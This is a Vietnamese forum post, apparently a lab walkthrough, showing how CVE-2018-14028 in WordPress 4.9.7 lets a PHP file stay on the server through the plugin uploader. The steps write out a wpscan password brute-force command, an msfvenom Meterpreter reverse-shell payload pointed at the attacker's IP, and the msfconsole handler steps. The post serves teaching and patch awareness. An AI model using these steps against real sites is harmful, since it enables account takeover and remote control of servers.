Demo khai thác lỗ hổng Upload File trong WordPress

Thảo luận trong 'Exploitation' bắt đầu bởi sImplePerson, 03/09/20, 10:09 AM.

  1. sImplePerson

    sImplePerson Moderator Thành viên BQT

    Tham gia: 23/03/20, 05:03 PM
    Bài viết: 22
    Đã được thích: 10
    Điểm thành tích:
    3
    CVE-2018-14028 Detail
    Trong WordPress v4.9.7, các plugin được tải lên bằng quyền admin, sẽ chỉ nhận các plugin với định dạng là .zip, tuy nhiên với việc WordPress vẫn cho phép nhận file với các định dạng khác, điều này cho phép ta có thể tải các file như php, .png , …. Khi một tệp được tải lên,nếu không đúng định dạng là .zip, WordPress sẽ hiển thị thông báo lỗi cho biết file tải lên đang sai định dạng, tuy nhiên WordPress vẫn sẽ cho phép lưu lại file trên máy chủ. Trong trường hợp này,ta dễ dàng tải lên các file mã độc. Có thể xem tệp đã được tải lên trang web bằng cách sau:
    {Domain}/wordpress/wp-content/uploads/{year}/{month}/{file_name}.​

    Giới thiệu
    Máy tấn công: Kali Linux
    Máy nạn nhân: Windows 10
    Công cụ được sử dụng: XAMPP, Metasploit
    Phần mềm: WordPress v4.9.7


    Để test lỗi này của WordPress, tôi đã xây dựng 1 trang WordPress trên máy ảo.
    1. Bước đầu tiên: Xây dựng trang WordPress bằng XAMPP
    A.Mở XAMPP và bắt đầu các dịch vụ.
    B. Dán thư mục wordpress vào htdocs của XAMPP.
    C. mở 127.0.0.1/wordpress
    D. Truy cập 127.0.0.1/phpmyadmin và vào cơ sở dữ liệu của wordpress thay đổi địa chỉ web từ 127.0.0.1/wordpress thành 192.168.118.198/wordpress (192.168.118.198 là địa chỉ ip của máy win 10)

    1.png

    E.Tạo tài khoản trên wordpress khi lần đầu tiên truy cập vào wordpress ( đây là tài khoản admin trang wordpress của bạn).
    2. Trên máy tấn công(Kali Linux), sử dụng wpscan để lấy tên người dùng và mật khẩu của nạn nhân
    wpscan --url http: //192.168.118.198/wordpress -U (user) --passwords (file password)​
    từ đó ta sẽ nhận được mật khẩu.

    Ở đây: + (user): tài khoản đăng nhập của admin wordpress, do tôi đã tạo tài khoản admin là test, nên việc khai thác lấy mật khẩu là dễ dàng. Việc khai thác ở ngoài sẽ phụ thuộc nhiều vào việc bạn có lấy được tài khoản của admin wordpress hay không
    + (file password): tôi đã thu thập nhiều mật khẩu yếu và lưu vào file password.txt

    2.png

    3. Sau khi khai thác xong, tôi nhận được tài khoản và mật khẩu của admin WordPress.

    3.png

    Từ máy tấn công, tôi truy cập vào trang http://192.168.118.198/wordpress/wp-login.php, sử dụng tài khoản và mật khẩu lấy được, tôi đã có quyền admin trên trang này.
    4. Click Add new -> Upload Plugin.

    4.png

    5. Duyệt tệp php của bạn và nhấp vào Install now.

    5.png

    6.Tôi biết plugin wordpress chỉ chấp nhận tệp ZIP vì vậy khi tải file php lên, tôi đã nhận được thông báo lỗi như trong hình dưới đây.

    6.png

    7. Tuy nhiên, file php của tôi vẫn được tải lên trên máy chủ
    Quá trình tải lên plugin này không thành công nhưng tệp php được lưu trữ trong /wordpress/wpcontent/uploads/{year}/{month}/{file_name}.

    8.png

    8.Với lỗ hổng này, ta có thể tạo một payload shell ngược bằng msfvenom, và tải nó lên thông qua việc tải plugin của WordPress

    msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.118.200 lport=1337 –f raw

    lhost=192.168.118.200 ( đây là ip máy tấn công )

    9.png

    Sao chép payload và dán nó vào shell.php, sau đó tải lên WordPress bằng "add Plugin" mà WordPress cung cấp.

    9. Sử dụng msfconsole trên máy tấn công

    Use exploit/multi/handler

    Set lhost

    Set lport

    Use payload

    Exploit

    10.png

    10. Ảnh khi khai thác thành công


    11.png
    12.png

    Kết luận : Với người dùng đang sử dụng WordPress để xây dựng trang web của mình, tôi khuyên các bạn nên cập nhật lên phiên bản mới nhất để tránh tình trạng có thể bị khai thác như trên.
    Nguồn : exploit-db
     
    Chỉnh sửa cuối: 04/09/20, 04:09 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    nǝıH and DiepNV88 like this.